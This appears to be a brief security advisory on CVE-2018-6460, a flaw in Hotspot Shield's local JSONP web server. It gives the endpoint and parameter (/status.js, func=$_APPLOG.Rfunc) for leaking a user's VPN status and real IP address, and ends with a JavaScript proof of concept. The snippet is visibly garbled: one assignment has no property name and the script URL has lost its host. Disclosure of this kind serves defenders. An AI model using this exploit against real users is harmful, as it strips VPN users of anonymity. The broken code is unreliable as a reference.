Hotspot Shield exists a flaws that leak your location

A vulnerability in the Hotspot Shield could allow an attacker to determine the user’s geographic location and other information. The anonymity of its users may be taken away and placed under the control of government or cybercriminals.

This flaw was found by security researcher Paulos Yibelo.

CVE: CVE-2018-6460

Vulnerability details
The HotspotShiled product runs webserver with a static IP and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

Proof of Concept


var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script'); = 'jsonp';
script.src = '$_APPLOG.Rfunc&tm='+(new Date().getTime());

Source: securiteam